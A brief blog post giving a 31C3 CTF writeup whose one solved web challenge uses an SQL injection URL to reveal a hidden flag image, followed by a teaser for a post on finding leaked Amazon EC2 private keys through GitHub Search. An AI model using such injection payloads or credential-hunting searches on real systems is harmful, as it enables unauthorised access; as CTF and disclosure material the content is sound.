December 30, 2014

31C3 CTF writeup

Categories #

pwn
crypto
reversing
malware
signals
web

web > 5CHAN (15pts) #

only img ids #1 thru #8 inclusive are displayed
flag should be in img id #9
@ http://188.40.18.89/?page=pic&id=0%20OR%20id%3E8;–

Kudos

Now read this

How I gained access to Amazon EC2 servers from Github Search (adapted)

Github Search allows advanced filters that allow us to search for these private keys @ link. This looks for: private keys with a .pem extension “BEGIN RSA PRIVATE KEY” text that marks the beginning of a private key sorted by most... Continue →